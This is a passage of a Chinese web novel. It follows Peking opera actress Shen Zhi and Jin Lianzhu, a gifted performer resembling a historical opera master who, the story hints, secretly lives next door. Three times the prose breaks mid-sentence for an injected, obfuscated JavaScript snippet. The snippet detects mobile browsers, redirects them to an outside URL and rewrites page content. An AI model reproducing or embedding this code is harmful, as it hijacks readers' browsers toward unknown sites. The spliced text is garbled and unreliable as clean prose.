《逢场作戏后祖师爷当真了》 1. 沈枝 “楼下新开了家川菜馆,今天难得早下班,咱们去尝尝吧。”李姐提议。 戏剧团的工作一点儿也不轻松,这才刚过了年,大家就为了今年国庆汇报演出忙得不可开交,一个个无精打采满满的班味。 沈枝是最累的一个,这次演出不但挑梁正旦还是她第一次做编剧。 呆呆地望着屏幕上那个灰色的楚霸王头像发呆,在李姐第三次喊她名字的时候,沈枝才将将回神。 “怎么了你,脸色不太好。” 对上沈枝清泠泠的眼眸,李姐的心颤了颤。 这个行业最不缺的就是俊男靓女,但每次看到沈枝的时候李姐都不由得发自内心地赞叹,这样的长相,这样的身段儿,那就是祖师爷喂饭吃啊。 瞧瞧人家白皙柔润的皮肤,大大的水灵灵的眼睛,笑起来弯弯的像两个小月牙,天生粉嫩嫩的唇色,还有嘴角两个浅浅地梨涡,真可谓是眉目如画灵动可人。 难怪年纪轻轻就能做正旦挑大梁呢,光是这长相和这副祖师爷赏的好嗓子就叫其他人望尘莫及了,更别提人家的家世了。 沈枝出身戏剧世家,祖父沈新华是行业国宝级的人物,曾任中央戏剧学院院长,国家戏剧团团长,如今虽早已退居二线却依然声誉在外,一直在为戏剧界忙碌着。 沈枝的父母也都从事戏剧工作,家族五代人传承戏剧事业,可以说沈家的家史就是一部浓缩的戏剧史。 “你现在可是咱们这里的重点保护对象,可不能累着了。”李姐是发自内心地觉得沈枝很优秀,工作以来一直对她颇有照顾。 沈枝顺势盖上笔记本,笑着解释,“就是想睡觉,你们去吧,我就不去了。” 大家纷纷关心了几句见她没事这才相伴离开。而沈枝则慢吞吞地等所有人都走后,才磨磨蹭蹭地收拾东西下班。 阴雨绵绵,冷风骤起。 京市二月末的天气仍冷得让人伸不开手,明明天气预报说变暖的,可眼见都快三月了一说话还是哈出一口白气。 沈枝裹紧了加长款的羽绒服走出办公大楼,望着空荡荡的停车场,那里只有她的一辆奔驰孤零零地在雨中坚守。 抬头望了下天,黑漆漆一团一团的墨色雨云在天空中缓缓流动,看来这雨有的下了。 将包举过头顶,沈枝快步走入雨中冲进车里。 在车门被关上的一瞬间,一切都被隔绝在外。 打火,开空调,开雨刷,简单擦拭掉身上的雨水看着雨刷器快速摆动,沈枝叹了口气。 今天是第二百天,她的男朋友消失的第二百天。 不,是前男友了。 记得他刚消失那段时间,沈枝焦虑、担心、惶惶不安,生怕他出事,又生气他的不告而别,若不是他留了一句“安好,勿找”,沈枝差点儿报了警。 算了,谁还没遇见过渣男呢。 开灯,拉上安全带,沈枝缓缓发动车辆。 一年多以前,正在准备毕业大戏的沈枝,每一天都在内耗焦虑、否定自我中度过,偶然的一次在网上摸鱼偶遇了“楚霸王”。 他说他叫文生,学戏曲的,没爹妈没亲朋,一个人孤孤单单地长大。 沈枝并非圣母心泛滥,而是他说了一句:“这世上不被疼爱的大有人在,我跟他们没分别。” 他是个乐观的人,可沈枝却被戳中痛处。 共鸣因此产生,两个人聊得十分投机,她网恋了。 车子驶入最繁忙的中央大道上,等红灯的队伍排得老长。 回忆相处的日子,大多是非常美好的,彼此都能理解对方,有聊不完的话题,且凭良心说,沈枝觉得文生是个细心体贴的男朋友。 每次沈枝稍有一点情绪不对,他都能敏锐地捕捉到,然后慢慢地不着痕迹地哄她开心,也从不打听她为何烦恼,直到她自己愿意说出来,他也会感同身受,情绪价值绝对给足,再慢慢帮她开解。 从不给她压力且情绪价值极高。 现在想想,这分明就是一个情场老手嘛。 沈枝气闷,觉得自己很傻。 车子终于开始动了,虽然很慢,但总是一个好的开始。 想通之后沈枝就全身心地投入到自己的工作当中,这次国庆汇报演出团里十分重视,经过再三衡量选用的剧本中有一个就是她创作的,沈枝觉得很振奋。 去年一整年沈枝都没有休息,不断地尝试新的角色到各地演出,多次担任主演且成绩不错,年底的时候谢团还给她报了沪市白玉兰戏剧奖。 沈枝从小就在戏曲环境里长大,她热爱戏曲,一路走来越来越坚定这条路,今年又被团里选中剧本,沈枝这次全力以赴认真对待。 倒不是因为失恋而发奋图强,沈枝是个随遇而安的性子,唯独对戏曲的热爱和执着是刻在骨子里的,她只在这一件事上较劲,只不过小时候没什么可发挥的空间,也并不被家里人看好,只能一个人默默苦练基本功。 但自从考进国家戏剧团之后沈枝有一种海阔天空豁然开朗的感觉,人生的束缚在一点一点解除,她觉得有一方天地可以让她自由自在施展发挥。 她现在很珍惜眼前的一切。 道路仍旧拥堵,沈枝不想再浪费时间,索性绕了条小路,反而更快到家了。 今天是周五又难得早下班,为了周末的自然醒,沈枝没有回家住,而是去了自己的小公寓。 车子停好,下车,雨下得更大了。 走出地下停车场的时候手机响了,是杨小咩。 “枝枝,你在哪,晚上有时间吗。”杨小咩欢快的声音驱散了沈枝心头的乌云。 杨小咩本名杨阳,是沈枝从小到大的好朋友,发小,闺蜜,是个名副其实的富二代,在戏剧方面颇有些天赋,但是个性自由不喜欢被束缚,再加上家里对她没什么要求,索性毕业以后家里给她开了个私人剧团,招募了一批还不错的演员,独立经营两年多业绩不错。 “怎么,你不用照顾你的猫主子们了。”沈枝笑了,“我快到家了。” 杨小咩没什么大爱好,爱吃爱小猫,家里的十几只小猫都是她捡回来亲手奶大的,几个月前又捡回来四只,家里简直成了猫猫乐园。 最近新捡来的四只小猫要一起做绝育,杨小咩寸步不离地照顾着,要增加营养,要防止它们互相舔,还要工作、娱乐,忙碌程度可想而知。 “刚好我给四小只买了羊奶粉还有营养品、猫条和玩具,正想给你送去。” 沈枝上了电梯按下楼层,电梯缓缓移动。 “哟,那我替毛孩子们谢谢干妈啦。”杨小咩哈哈笑着,“对了,戏剧班聚会的请柬你收到了吧。” 她不说沈枝差点儿忘记了这事,戏剧班聚会是她们大学时期就有传统,每年夏天聚会一次雷打不动,有老人有新人,人越来越多也越来越形式主义,现在已经演变成了社交场。 沈枝没什么兴趣。 杨小咩猜到了她会拒绝,电话里劝道:“知道沈大小姐不喜欢这种俗套的聚会,可是你看你,又是主演,又是编剧,还要百忙之中抽出时间来把你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419429|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那鬼魂前男友拿出来鞭尸一顿,实在太累了,出来放松一下嘛,听说这次聚会定的酒店很好吃呢。” 到底是闺蜜,直戳要害。 沈枝无奈地笑了笑,实在架不住她的软磨硬泡,还是同意了,就当是去混顿饭吃也不错。 电梯停在十六层,沈枝走出电梯,这公寓是她瞒着家里自己买的,祖父和父母不愿她一个人在外面住,可是沈枝很喜欢这里。 小区管理严格,绿化好,一梯两户,对面的邻居始终没见过,大约是没人住,沈枝觉得很清静。 按下密码开门,沈枝终于卸下了一身的疲惫,摊在沙发上。 电话里杨小咩还在痛斥她的鬼魂前男友的种种不是,把她想骂的话翻倍骂了出来。 “怎么样,解气了吗。” 沈枝失笑,真不愧是这么多年的老闺蜜,听声音就知道她在想什么。 “相当解气,我保证这是最后一次想起他,其实就是临下班的时候看到了那个头像而已……” “为什么要是最后一次,你可以继续想。”杨小咩提高声调,“想起一次就骂一次,骂他可以发泄情绪,排毒,那你就可以有更好的心情和状态好好准备你的演出和剧本啦。” 沈枝:…… 倒是无法反驳。 杨小咩想了想,“要我说,冲着上次毕业大戏一鸣惊人和你这两年来积累的作品,你这次好好准备,一定能一飞冲天直接升咖呢。” 说起毕业大戏沈枝恍惚了一下,当时多亏她的这位鬼魂前男友的指点和意见,才让她饰演的角色有了亮点深入人心,得到了所有导师的一致好评,院内还专门表扬她,就连她那位德高望重的祖父也收藏了她的表演视频。 沈枝觉得那次有点儿玩大了,但是文生说那只是一个戏曲演员应该带给观众的,是最基本的东西,做不到很不应该,她当时就信了,谁知…… 不得不说,对于文生的专业水准沈枝是很佩服的,他是她见过的最有天赋的人。 如此一想,心里倒是安慰了不少,冲着他帮忙修正指导毕业大戏的份上,就让他入土为安吧。 “喂,枝枝,你在听吗。” 电话那头杨小咩的催促将沈枝的思绪拉了回来,“去不去啊,听说来了个新人,很绝哎。” “什么,什么新人。” 沈枝回神,“抱歉,刚才跑神了没听清。” 杨小咩叹气,“你呀,这跑神的老毛病什么时候能改一改。我是说晚上去看新剧院的晚场,听说来了新人,嗓子极好唱功也非常不错,长得巨帅,我想去看看。” 作为剧团老板杨小咩对优秀的戏曲人才时刻保持关注,沈枝无法拒绝,她喜欢去剧场听新人唱戏,总能让她有新的灵感。 “去,必须去。”说完又看了看表,“时间差不多了,咱们剧院见。” 说是晚夜场其实也就是八点半开始,得到了杨小咩的同意,沈枝挂了电话简单收拾了一下自己,换了一身舒服的休闲装出门。 推开家里大门的时候沈枝愣了一下,从地下停车场走到电梯间是要经过一个露天花园的,沈枝的鞋子上沾了水,可现在楼道里留下的印迹已经没有了,地面干净如新。 物业还真是勤快,走一步擦一步啊。 沈枝想着再次进了电梯门,就在电梯门缓缓合上的一瞬间,她闻到了一股淡淡的茶香味,像冲泡好的绿茶或红茶,还带有一丝丝柠檬、麝香的味道,给人一种书卷气的宁静感。 这个味道太熟悉,好像在哪里闻到过…… 2. 靳连竹 新剧院在这座城市最大的人工湖边上,风水绝佳,景色宜人,广场上到了晚间尤其热闹。 原本是个电影院,后来易主被改成了戏剧院,专演戏剧。 “电影院多赚钱啊,看电影的人比看戏的人多太多咯。” 电话里,爽约的杨小咩说起生意经滔滔不绝,“但我觉得这位老板有情怀,有眼光,那句歌词儿怎么唱来着,‘我拿青春赌明天’,人家看的是未来。” 沈枝失笑,端起面前服务生送来的甜酒轻抿一口,清新的甜味在口腔蔓延开来,顿时驱散了白天忙碌的疲惫感,让心情瞬间变好。 今晚来的人很多,非常多,可以说是爆满,让沈枝有些意外。 “长得好唱得更好。” 旁边有人聊天,沈枝漫不经心地听着。 “这位号称‘小丛山’,技艺绝佳。” ‘小丛山’,靳丛山,啧啧,给了祖师爷的名讳,这评价着实不低,沈枝想。 面前的桌台上放着喝了一半的玫瑰甜酒和一块芝士蛋糕,酒的甜度略高于蛋糕的甜度,芳香甜美,是沈枝喜欢的搭配。 服务生说是有人特意为她点的,沈枝道谢,一定是小咩,为她的爽约赔罪呢。 甜酒蛋糕加京剧,有一种老祖宗留下来的松弛范儿。 不远处的舞台上灯光亮起,锣鼓家伙什儿陆续登场定位,好戏开场。 舞台上表演的都是应观众意见的传统剧目,沈枝轻抿了一口酒,享受着当下的惬意。 “贵妃醉酒”亮相,一个开口脆艳惊四座,这样一把天生好嗓在这个行当里可太重要了。 一招一式一颦一笑可见功底深厚,沈枝来了兴致,一边下意识小幅度比画着一边忍不住感慨,现在的新人真厉害,眼前这位唱功就十分了得。 目光定在“贵妃”的脸上,浓厚精致的妆容下眼神灵动传神,唱念做打不像新人,扪心自问,让沈枝唱这出未必有他唱得好,况且人家是男旦。 怕不是哪位前辈来客串玩的吧,怎么看着有点似曾相识的感觉。 沈枝心里琢磨着台上已唱罢,阵阵掌声给予了表演者充分的肯定,下一场《霸王别姬》,锣鼓声响起的那一瞬,沈枝身上就起了一层鸡皮疙瘩。 这是她最爱的一出戏,也是她的偶像一炮而红的剧目。 民国名角儿靳丛山是沈枝接触戏曲以来最崇拜的人,没有之一,无论功底天赋,还是创新应变都是绝无仅有的,只可惜…… “枪挑了汉营中数员上将……” 正戏开场,一开嗓,沈枝头皮发麻腾地一下惊到差点站起。 这嗓音,这唱腔,还有台上楚霸王犀利坚定又隐隐透着不甘和悲楚的眼神,熟悉,太熟悉了。 靳丛山。 此刻沈枝的脑子里冒出这个名字。 强压下心中的激动,沈枝重新坐下凝神静听,每一个咬字每一句唱腔都好似原音重现,就连定住后的眼神凝聚,那细微之处都相差无几。 像,真的太像了。 沈枝很激动,觉得心脏快要跳出来了。 赶紧掏出手机拍了几张照片,放大,再放大。 台上演员凤目狭长,眼尾微挑,眸光清澈深邃像幽幽深潭,眼中藏着星辰大海却给人了无生趣的寂寞感,又灵动又绝望。 沈枝压抑住自己内心的澎湃,眼睛紧跟着那个熟悉又陌生的身影,眼看着演员唱罢退场,决定跟到后台去看看。 后台禁地,闲人免进,沈枝懂规矩只能站在化妆间外的走廊上等。 来来往往的表演者和老师们也有认识沈枝的,纷纷打了招呼离去,直到人都走完了,沈枝一个人站在昏黄的灯光下,又一次打开手机看那张照片。 然后又调出一张她精心保存的泛黄的老照片。 上有一行字:民国元年,上海。 两张照片放大,对比,沈枝震惊了。 照片上的两个人几乎一模一样,甚至连动作的幅度和嘴角上扬的角度都丝毫不差。 要知道模仿靳丛山的大有人在,可是能做到如此地步的,还从未出现过。 走廊上昏暗的灯光下,沈枝既激动又紧张,她觉得自己遇到了千年一遇的人才。 团里的汇报演出正缺一位能挑大梁的男演员,如果这位愿意加入的话……沈枝越想越兴奋,面颊开始发热背后微微冒汗。 “你好。” 富有磁性和空灵的男声在身后响起,果然是老天爷赏饭吃,这样一把好嗓子真是几百年都出不来一个啊。 “你……”沈枝回头,面前的男人又一次惊艳了她。 他个子很高,卸妆后看上去干净斯文,肤色很白五官精致,眉毛浓黑有型,丹凤眼看着她的时候有一种平静湖面的寂静感,淡淡的,看久了让人忘却了时间。 他长得真好看,轮廓完美五官兼具阳光和阴柔,笑起来温暖得像太阳,让人目眩。 “好”字说出口,沈枝伸出手笑着自我介绍,“我叫沈枝,是国家戏剧团的演员兼编剧,我们正在排一出新戏,不知道你有没有兴趣。” 一瞬间的沉默,男人的眸光落在她脸上,波光潋滟幽黑深邃,他伸出手来跟她握住,“我叫靳连竹,很高兴认识你。” 他的手很冷,握着她的力道很轻。 外面的雨越下越大,二人走出剧院的时候天地间仿佛连成一片。 “我们这次国庆汇报演出十分重要,剧目是新编的,目前还缺一位合适的主演。”沈枝详细地说明自己的来意,并向靳连竹介绍了一下国家戏剧团的情况。 “我们可以以私人名义项目合作,或者你有工作室也可以以工作室名义合作。”沈枝介绍,“待遇方面可以个人酬劳按月支付,也可以单位合作按比例付款,具体的我们可以坐下来详谈。” 瓢泼大雨被风吹得摇摆,雨水洒在她们的衣服上、鞋面上,阴湿一片。 “今天太晚了又下这么大的雨,实在不方便。”靳连竹看着外面如注的雨水,笑了一下,“我们改天另约时间吧。” 不知道他是真的觉得不方便还是婉转拒绝,但是人家说得也没错,沈枝顿了一下抿唇笑了,“那……” “明天我给你打电话约时间。”他说。 “好,那我等你电话。”沈枝告辞离去。 看着她的背影,靳连竹接通了电话,对面传来一个声音:“老板,您送给那位女客人的玫瑰甜酒和芝士蛋糕她很喜欢。” 靳连竹一语未发挂断了电话,嘴角微微上扬。 刚才他在她眼睛里看到了一闪而过的遗憾和失望,而后极力掩饰自己内心的失落笑得那样勉强,当自己说明天约时间时,她的笑才重新变得灿烂。 转瞬即逝的细微变化让他兴奋得心跳加快,背在身后的手指揉搓着手心里的薄汗,面上的淡淡的笑容变得越发浓烈。 再见面时已是三日后的一个下午。 他坐在对面,阳光透过玻璃窗照在他身上,给那双好看的丹凤眼描上了一层金边,连睫毛都像淬金一样,显得那原本就温柔和善的笑容更加温暖了。 “不好意思,最近处理了一些私事,耽搁了。”他低头喝了一口咖啡,薄唇轻抿,带着淡淡的略有些羞涩的笑。 气质沉稳,动作优雅。 像,越看越像。 沈枝私下里搜集了很多关于偶像靳丛山的资料照片,虽说祖师爷留下的资料极少,可仅有的几张照片沈枝都有,恍惚间想起网上的段子,不是说人死之后会有转世投胎,靳连竹,靳丛山…… “靳老师有个人简历吗?” 沈枝先开口,想要了解一下他的基本情况。 “我发给你。”靳连竹拿出手机打开微信二维码放到她面前,“叫我连竹就可以了。” 沈枝笑了笑扫码加好友,一份pdf文件传了过来。 靳连竹,28岁,江苏苏州人,孤儿院长大…… “你没有父母亲人?”沈枝有点儿意外,脱口而出的话让她觉得有点儿尴尬,“不好意思,如果涉及到隐私你可以……” “没见过。”靳连竹的声音淡淡的,丝毫看不出窘迫和不自在,“孤儿院的老院长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419430|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对我很好。” 沈枝点头继续看简历,一份干净普通的履历,毕业于省戏剧学院,成绩优异仅此而已。 “你毕业三年多了为什么没有工作履历。”沈枝问。 “都是在私人剧团打零工演出,没写。” “父母留下了房子和一些钱,够用。”靳连竹很坦诚很平淡地诉说着自己的事,解答了沈枝心中的疑虑,“打零工也有收入。” 沈枝笑了,觉得眼前这个二十八岁的男人身上有一种男大的羞涩和清澈,他像是未曾沾染尘世的烟火,给人干净纯澈的感觉。 “好,我知道了。”沈枝的态度更温柔了些,“我们剧团的情况上次我大致介绍了,你还有什么想要了解的吗。” 靳连竹问了几个问题,沈枝一一向他解答。 她慢慢地说着,靳连竹静静地听着,眼神专注真诚,沈枝看着他,动作和语言都变得温和柔软了许多。 “这次的汇报演出是新老技法的一次融合,也是我们想尝试的。”沈枝向他介绍将要合作的剧目,“实话说,难度很大,我们排练过几次,效果都不尽如人意。” “光是发声方法和共鸣位置就有很大冲突。”沈枝很坦白,“一个强调丹田气和脑后摘筋,一个更注重混合共鸣,强行结合结果就是‘两张皮’的效果。” “这个问题都很难突破,更别说新唱法下如何保住京剧唱腔的韵味儿,和写意化的情感表达。” 难就难在哪些方面可以偏新式哪些地方要坚持老派,说起这些问题沈枝摇头沉默,慢慢喝了一口咖啡,“这还不算剧本上的各种问题。” 她看上去很有挫败感。 二人坐在窗边,玻璃上一层雾气,模模糊糊看不清外面的景色,像极了沈枝现在的困境。 “京剧新老唱法融合的难度,归根结底是技、艺、韵的问题。”靳连竹缓缓开口,眸光落在二人面前的一枝盛开的百合花上。 “技法上不能以牺牲演员的嗓音健康为代价,尝试寻求科学的发声方法。”他说话慢条斯理,却瞬间引起了沈枝的兴趣。 “人物和故事的表现上多考虑艺术上的融合,我个人认为可以偏向于现代表达。但是在灵魂韵味上不能丢失根本,以老派为基础,不然就失去了京剧的意义,变得不伦不类了。” 靳连竹说完笑了笑,“个人拙见,我也在摸索,可以一起尝试。” 简洁明了思路清晰,却直接抓住了要点。 此刻,他的话在沈枝的脑子里反复回味,有一种醍醐灌顶的顿悟。 “以老派京剧的美学精神为内核,大胆地吸收新式的声乐技术,形成一种既能表现新时代、新人物,又依然京韵的唱风。” 好像在一个转了许久的迷宫里,一下子找到了光亮,最起码这个方案可以尝试,她的眼睛在发光。 靳连竹点了点头,看着她笑了,“沈老师真厉害。” 哪里是她厉害,明明就是受到了他的启发。 切,这人,还有一点小小的油嘴滑舌。 抓住了关键点,沈枝又一连串问了几个问题,靳连竹都十分耐心地解答,两个人探讨着专业不知不觉两个小时过去了,沈枝觉得时间过得好快。 “时间不早了今天就到这里,回去我跟团里汇报一下,你等我消息。”二人起身,沈枝有些激动,觉得面颊在发热。 靳连竹已经结了账,沈枝挺不好意思的,“应该我请你的,那下次一起吃饭不许跟我抢。” “好。”他温柔地回应她,二人出门往沈枝车子的方向走去。 夕阳很美,天地间被染成了一片绯色。 “我送你回去吧。”沈枝提议。 “好。”他回答,仍旧是淡淡地笑。 专业能力强,谦逊随和,举止有礼,脾气极好,这是沈枝对靳连竹的初印象。 最终,车子还是停到了沈枝家的小区门口,因为靳连竹坚持说剩下的路他可以自己走,沈枝只得跟他道别后开车进了地下停车场。 看着她车子的背影消失在通道尽头,靳连竹刷脸进了小区。 3. 惊喜 带着一天的疲惫和兴奋,沈枝回到家就泡了个热水澡。 公寓是按照她的想法装修的,胡桃木定制家具,低饱和度墙面,皮质沙发,整体透着复古高智感,真是无一处不合心意。 还是自己住舒服,沈枝裹上浴巾又给自己倒了杯红酒,美丽的琥珀色透着暖色的灯光,让人沉醉。 今天的收获是个意外之喜,沈枝还沉浸在靳连竹的专业建议中,打开电脑把他的话记录下来,顺便又加上自己的感悟和批注,结果越写越兴奋都没注意到天早就黑了,再看看时间,已经晚上十点多了,于是拿起手机给团长拨了过去。 团长姓谢,曾是沈枝的老师,刚过五十的一个准小老头儿,瘦瘦的眼神凌厉,看上去十分精神。 “师父。”沈枝开口笑,“这么晚了我猜你在打麻将。” 对面果然传来哗啦啦地搓麻声,谢团和老婆都是四川人,喜欢搓麻,常在家里约上朋友打到半夜,不设赌资纯属娱乐,沈枝上学的时候常约几个同学去老师家里玩,还能吃到师母做的地道的四川菜,那是沈枝最幸福快乐的时光。 “什么事,说。”谢团笑哈哈地回应她,“大晚上的你最好讲的是好事。” “好事好事。”沈枝简明扼要地把靳连竹的事和她的想法跟谢团汇报,得到了老师的肯定。 “那我明天带他去见您,到时候您好好面一下。”沈枝很自信。 “但是咱们的情况你跟人家说了吧,如果他抱着入职的想法恐怕不行。”谢团提醒她,“咱们戏剧团要求高,不是什么人都能进来的,考核只是最基本的要求,还得有人给他写推荐信,不然的话只能是合同制,短期项目合作。” 这些情况沈枝并没有跟靳连竹说过,“等您面过觉得合适可以合作了,我再跟他提这些,没有领导的指示我哪里敢擅自做主呢。” 谢团很满意,催着她赶紧挂了电话别耽误了他的大杀四方。 得到了领导的首肯,沈枝很满意,这样就不用等她明天去团里汇报,然后再联络靳连竹面试,节约时间提高效率,沈枝想了想拿起手机打开微信找到了靳连竹的头像。 他的头像是一个黑色的方块,什么图案都没有,显得很阴郁,跟他这个人的阳光形象倒是很不一样,沈枝想。 时间走到了十一点,信息编辑好跟他约了在她家小区门口见,明天一起去团里,又检查了一遍措辞点了发送,沈枝伸了个懒腰,关掉客厅的灯蹬掉拖鞋爬到床上。 她习惯睡前看一会儿脱口秀,让自己开开心心地扫去疲惫睡个好觉。 没想到,信息刚发出去不久就收到了靳连竹的回复:谢谢你,我的伯乐。 还挺幽默,沈枝笑了,看到了下一条:能否把新剧目的剧本发给我拜读一下,不想面试的时候给我的伯乐丢脸。 小伙儿挺会说话呀,沈枝把剧本发过去,准备睡觉。 灯光昏暗,红酒欲醉,但她毫无睡意。 或许是因为今晚实在太高兴了,沈枝越看越兴奋,哈哈笑个不停,等想起来的时候再看时间,已经快一点了。 好吧,既然晚了那就晚了吧,舒服就好。 沈枝伸了个懒腰,身子往被窝又缩了缩捧着手机酝酿睡意。 一个震动,是靳连竹发来的,他竟然还没睡,沈枝带着好奇点开微信,顿时困意全无。 长长的一段,他写了小作文。 “有几点拙见,还请沈老师参详。首先,板式与唱词失衡,词格错误、平仄倒字、韵脚不清、未标注‘导板’转‘回龙’等,这种错误属不熟悉剧本所致,并非很严重的错误,稍加注意即可修正。其次,文场三大件配置不合理,节奏不对,唱段与过门时长失衡,这是缺乏经验所致。第三,根据剧情不应安排‘吊毛’‘抢背’等毯子功,炫技,而水袖功、髯口功无提示。最后提一点,现代改编若想把传统戏剧做出韵味和精神,新老技法融合至关重要,对此我个人有些资料和研究后的浅薄心得,若沈老师不嫌弃鄙人愿呈予沈老师批评指正。” “另外还有一个小瑕疵,剧本格式不对,建议采用总讲制度,包含剧情、角色本、调度,用‘唱词+锣鼓谱’并置书写。并且创作的过程就要创作者本人参与唱腔设计,方能体会出是否合理。” “以上不当之处还请沈老师批评指正,靳连竹。” …… 这条微信沈枝反反复复看了三遍,然后拿来笔记本把要点记下来。 靳连竹,给了她好大的惊喜。 这是沈枝第一次做编剧写剧本,又是这种融合性的剧本,天知道她掉了几斤头发。好不容易写出来后团长组织大家坐排,也就是剧本围读,然后改了几稿之后基本情节已经落定,这才准备粗排。 可是走位排练时仍旧会出现各种各样的问题,剧本还要继续修改,沈枝为这事已经发愁半个多月了,改来改去怎么都觉得不满意。 从沈枝发给靳连竹剧本到他批注好发回来,不过两个小时,可见功底之深。 他可真是个天才啊,沈枝感慨,看上去平平无奇的一个人竟然是个隐藏款大佬。 仔细研读了他的批注,沈枝在他标注的地方特别查了资料,不懂的地方给他发信息问,靳连竹很快就回复了她,讲解得清晰明了且极有耐心。 两个人你来我往地发微信,除了讨论专业之外还夹杂着零星的调侃、吐槽和靳连竹对沈枝的赞扬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419431|184758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在他的陪伴和鼓励下,沈枝把剧本又改了一遍。 伸了个懒腰看到了东方既白,一整夜就这么过去了,沈枝觉得很不好意思,投入进去忘了时间扰得人家也没法睡觉。 赶紧道声晚安,沈枝催促着靳连竹去小睡一下,自己又把剧本翻出来,仔细通读一遍后再次精细化里面的细节。 越琢磨越觉得靳连竹的厉害,他几句话就让一直困扰沈枝的问题迎刃而解,此刻她有一种松弛透彻的感觉。 沈枝给靳连竹发信息。 沈枝:你简直就是老天派来拯救我的福星,我得好好谢谢你。 隔壁,靳连竹放下刚煮好的咖啡,拿起手机点开微信,脸上露出笑容。 靳连竹:能帮到你是我的荣幸,说到谢还是应该我谢你,给我机会带我见世面。 他总是把沈枝说得很厉害。 沈枝:我想送你一份礼物表达我的谢意,还请你不要推辞,只是不知道你喜欢什么。 靳连竹端起咖啡装进咖啡杯里,套上保温袋,然后仔细地用蜡纸封住盖好盖子。 她问她需要什么礼物,靳连竹摸索着手里的一张老照片,眼睛弯起嘴角微微上扬。 靳连竹:早饭。 沈枝收到信息笑得很灿烂:超豪华煎饼果子来一套。 靳连竹:哟,哟哟,切克闹。 一墙之隔,两个人同时露出会心的笑容。 按照约定沈枝开车出了小区,一眼就看到了等在那里的靳连竹。 他黑色羽绒服里一眼就看到了那件白色衬衫,整个人干净利落,隐隐能感受到他健硕的身材。 看到她的车,靳连竹远远就露出灿烂的笑容。 他长得很有特色,笑起来格外好看。 “对不起我迟到了。”沈枝道歉。 她今天穿了件白色羽绒服,红色的围巾,整个人看上去干练不失温柔,美得亮眼。 靳连竹收回视线上车,“是我来早了,这是我亲手煮的咖啡,你尝尝看。” 沈枝道谢,把早点递过去,“巧了,这早点也是我自己做的,看看合不合你口味。” 初见时的客套生疏在一整夜讨论和闲谈中消失了,现在俨然一对比较熟悉的老朋友。 两个人,一个吃煎饼果子一个喝咖啡,同时看向对方,眼中的光骤然亮起,都没说话也不用说话,而后相视一笑给对方比了个大拇指。 默契,在搭档之间太重要了,沈枝举起他给的咖啡轻轻碰了一下靳连竹手里的煎果子,“干杯,咱俩搭档,我还挺期待的。” “咱俩”、“期待”……咂摸着她的这句话,靳连竹脸上露出发自心底的笑容。 4. 同事 靳连竹的面试非常顺利。 应该说,第一眼看见他,谢团的脸上就露出了惊喜的表情。 戏剧团的面试是有专人负责的,谢团是主面,其他几位就是各部门的负责人,考察演员的基本功、基础条件、天赋和业务能力。 很显然,靳连竹属于一眼相中的那一种。 外形条件、天赋和基本功都无可挑剔,专业技能更是让人眼前一亮又一亮。 “怎么样,我眼光还可以吧。”沈枝听着谢团对靳连竹的评价,与有荣焉。 谢团歪头看着自己的得意门生,眼睛眯起,“你跟他是怎么认识的?从前没听你提过这个人。” “上周五去新剧院看戏,他一上台就震惊我了。”沈枝跟谢老师的关系十分亲厚,甚至超过了家人,她经常会跟老人家分享自己的心事,“您觉不觉得他像一个人。” “靳丛山。”谢团道,“的确很像。” 沈枝点头,“他的外号叫‘小丛山’。” 谢团若有所思地点点头,大概是知道了他们认识并不太久,这才缓缓直言,“脾气也一样。” 沈枝一愣。 “执拗、傲气,天生反骨。”谢团相当与时俱进,网络名词信手拈来。 沈枝失笑,“我倒觉得他是单纯坦率直来直去的人。” 谢团看了她一眼,笑着摇了摇头又点了点头,“你挑的人我信得过,你好好带,我很期待你俩的配合。” “好。”沈枝点头,“我得加油了,他比我业务能力强,好有压力。” 谢团拍了拍她的肩膀,“好好干,白玉兰奖下个月就有消息了,趁年轻多积累角色积累演出经验,很重要。” “好的团长。”沈枝打断他,“我现在就努力,吃完饭就努力。” 一溜烟跑没影儿了。 谢团笑着摇头,这个学生是他最得意的门生,出身好天赋好,可惜就是太低调了。 会议室里只有靳连竹一个人,远远望过去,他坐得笔直正在伏案写着什么。 暖暖的日光照在脊背上,整个人散发着光芒。 “在写什么。”沈枝走过去一眼就看到了他峻秀有型的字体,“你的字真好看。” 靳连竹忙起身请她入座:“刚才面试官提的一些问题,我觉得有启发的先记下来。” 沈枝看到那上面写的是:“慢板”人物心理,“快板”剧情高潮…… “回头我把我们团里的笔记拿给你看看,帮你启发一下灵感。”沈枝站起来很自然地拉了一下他的衣袖,“走,带你吃饭去,我们食堂的饭很赞。” 